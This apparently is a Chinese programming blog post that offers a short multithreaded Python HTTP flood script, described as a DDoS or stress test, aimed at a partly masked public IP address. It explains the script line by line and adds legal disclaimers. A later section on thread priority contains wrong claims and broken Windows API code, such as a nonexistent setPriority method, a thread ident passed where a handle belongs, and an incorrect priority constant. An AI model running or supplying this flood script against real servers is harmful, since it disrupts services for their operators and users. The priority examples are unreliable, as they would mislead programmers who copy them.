基于python的一个简单的压力测试（DDoS）脚本

DDoS测试脚本

声明：本文所涉及代码仅供学习使用，任何人利用此造成的一切后果与本人无关

源码

import requests
import threading

# 目标URL
target_url = "http://47.121.xxx.xxx/"

# 发送请求的函数
def send_request():
    while True:
        try:
            response = requests.get(target_url)
            print(f"Sent request to {target_url}, Status Code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

# 创建多个线程进行攻击
def start_attack(thread_counts):
    threads = []
    for i in range(thread_counts):
        thread = threading.Thread(target=send_request)
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

if __name__ == "__main__":
    # 设置线程数量
    thread_count = 10
    start_attack(thread_count)

源码解析

代码结构

1. 导入模块import requestsimport threading- requests 模块用于发送HTTP请求。- threading 模块用于创建和管理线程。
2. 定义目标URLtarget_url = "http://47.121.xxx.xxx/"- 这里指定了要发送请求的目标URL。
3. 发送请求的函数def send_request(): while True: try: response = requests.get(target_url) print(f"Sent request to {target_url}, Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error: {e}")- send_request 函数在一个无限循环中不断发送HTTP GET请求到目标URL。- 使用 try-except 块捕获可能的请求异常，并打印错误信息。
4. 创建多个线程进行攻击def start_attack(thread_counts): threads = [] for i in range(thread_counts): thread = threading.Thread(target=send_request) threads.append(thread) thread.start() for thread in threads: thread.join()- start_attack 函数接受一个参数 thread_counts，表示要创建的线程数量。- 使用一个循环创建指定数量的线程，每个线程的目标函数是 send_request。- 启动所有线程后，使用 join 方法等待所有线程完成。
5. 主程序入口if __name__ == "__main__": # 设置线程数量 thread_count = 10 start_attack(thread_count)- 在主程序入口处，设置线程数量为10，并调用 start_attack 函数启动攻击。

功能描述

• 该脚本的主要功能是对指定的目标URL进行高并发的HTTP GET请求。
• 通过创建多个线程，每个线程不断发送请求，从而实现对目标服务器的压力测试或DDoS攻击。

注意事项

• 合法性：这种行为可能违反目标服务器的使用条款，甚至可能触犯法律。未经授权进行此类操作是非法的，请务必确保在合法授权的情况下进行。
• 道德性：即使有授权，也应考虑对目标服务器的影响，避免对其造成不必要的负担或损害。

安全建议

• 避免滥用：不要将此类脚本用于恶意目的，如DDoS攻击。
• 合理使用：仅在合法授权的情况下，用于性能测试或安全评估。
• 监控与控制：在实际使用中，应设置合理的请求频率和线程数量，避免对目标服务器造成过大压力。

总之，这段代码展示了如何使用Python进行多线程HTTP请求，但在实际使用中应严格遵守法律法规和道德准则。

多线程的优先级调用

在 Python 中，线程优先级通常不由开发者直接设置，而是依赖于操作系统的线程调度机制。Python 的

threading

模块并没有提供直接设置线程优先级的功能。不过，你可以使用

os

模块中的

nice()

函数来尝试影响线程的优先级，但这通常只在 Unix/Linux 系统上有效，并且这种影响是有限的。

以下是一个示例，展示如何在 Unix/Linux 系统上使用

os.nice()

来尝试调整线程的优先级：

import threading
import os
import time

def worker():
    while True:
        print(f"Thread {threading.current_thread().name} is running")
        time.sleep(1)

# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")

# 设置线程的优先级（仅适用于 Unix/Linux）
try:
    # 设置线程的 nice 值为 10（较低的优先级）
    os.nice(10)
except AttributeError:
    print("Setting thread priority is not supported on this platform.")

# 启动线程
t.start()

# 主线程等待一段时间后退出
time.sleep(5)

在这个示例中，我们创建了一个新线程并尝试使用

os.nice()

来设置其优先级。需要注意的是，

os.nice()

影响的是进程的优先级，而不是单个线程的优先级。在 Unix/Linux 系统上，Python 线程实际上是共享同一个进程的，因此

os.nice()

会影响整个进程及其所有线程。

如果你需要在 Windows 系统上设置线程优先级，可以使用

threading.Thread

的

setPriority()

方法（这是一个非标准的扩展，只在某些版本的 Python 中可用），或者使用

ctypes

库来调用 Windows API。

以下是一个在 Windows 上使用

ctypes

设置线程优先级的示例：

import threading
import ctypes
import time

# 定义线程优先级常量
THREAD_PRIORITY_LOWEST = 19

def set_thread_priority(thread, priority):
    """设置线程的优先级"""
    ctypes.windll.kernel32.SetThreadPriority(ctypes.c_long(thread.ident), priority)

def worker():
    while True:
        print(f"Thread {threading.current_thread().name} is running")
        time.sleep(1)

# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")

# 启动线程
t.start()

# 设置线程的优先级
set_thread_priority(t, THREAD_PRIORITY_LOWEST)

# 主线程等待一段时间后退出
time.sleep(5)

在这个示例中，我们使用

ctypes

库调用 Windows API 来设置线程的优先级。这种方法更为复杂，但提供了更细粒度的控制。

需要注意的是，调整线程优先级可能会影响程序的性能和响应性，因此应谨慎使用，并确保充分测试。